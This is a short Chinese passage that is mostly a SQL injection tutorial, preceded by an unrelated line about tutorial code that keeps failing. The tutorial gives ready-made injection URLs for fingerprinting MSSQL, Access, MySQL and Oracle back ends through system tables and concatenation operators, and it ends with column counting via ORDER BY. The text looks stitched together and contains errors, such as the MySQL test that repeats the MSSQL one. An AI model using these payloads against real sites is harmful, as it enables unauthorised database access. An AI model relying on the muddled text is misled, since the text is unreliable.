如图,根据网上一个教程写的代码,图一是新建的表,图二是插入的数据,运行后一直在报错。
一、通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型,比如有sql可能是mysql,sqlserver。有jet可能是access;
二、通过脚本判断。asp可能是access;aspx可能是sqlserver;php可能是mysql;jsp可能是oracle
三、通过各个数据库特有的数据表来判断:
1、mssql数据库
http://127.0.0.1/test.php?id=1 and (select count() from sysobjects)>0 and 1=1
2、access数据库
http://127.0.0.1/test.php?id=1 and (select count() from msysobjects)>0 and 1=1(没有权限访问)
3、mysql数据库(mysql版本在5.0以上)
http://127.0.0.1/test.php?id=1 and (select count() from information_schema.TABLES)>0 and 1=1
Access和SQL Server都有自己的系统表,比如存放数据库中所有对象的表:Access是在系统表“msysobjects”中,但在Web环境下读该表会提示“没有权限”;SQL Server是在表“sysobjects”中,在Web环境下可正常读取。在确认可以注入的情况下,使用下面的语句:http://www.xxx.com/a.asp?ID=1 and(select count() from sysobjects)>0如果数据库是Access,由于找不到表sysobjects,服务器错误提示。
4、oracle数据库
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
四、通过各数据库特有的连接符判断数据库类型:
1、mssql数据库
http://127.0.0.1/test.php?id=1 and ‘1’ + ‘1’ = ‘11’
2、mysql数据库
http://127.0.0.1/test.php?id=1 and ‘1’ + ‘1’ = ‘11’
http://127.0.0.1/test.php?id=1 and CONCAT(‘1’,‘1’)=‘11’
3、oracle数据库
http://127.0.0.1/test.php?id=1 and ‘1’||‘1’=‘11’
http://127.0.0.1/test.php?id=1 and CONCAT(‘1’,‘1’)=‘11’
4、access数据库
http://127.0.0.1/test.php?id=1 and ‘1’&’1’=’11’
1.逐一爆破字段
2.1确定当前查询的列数
order by 22正确 order by 23错误 这就说明字段数目是22个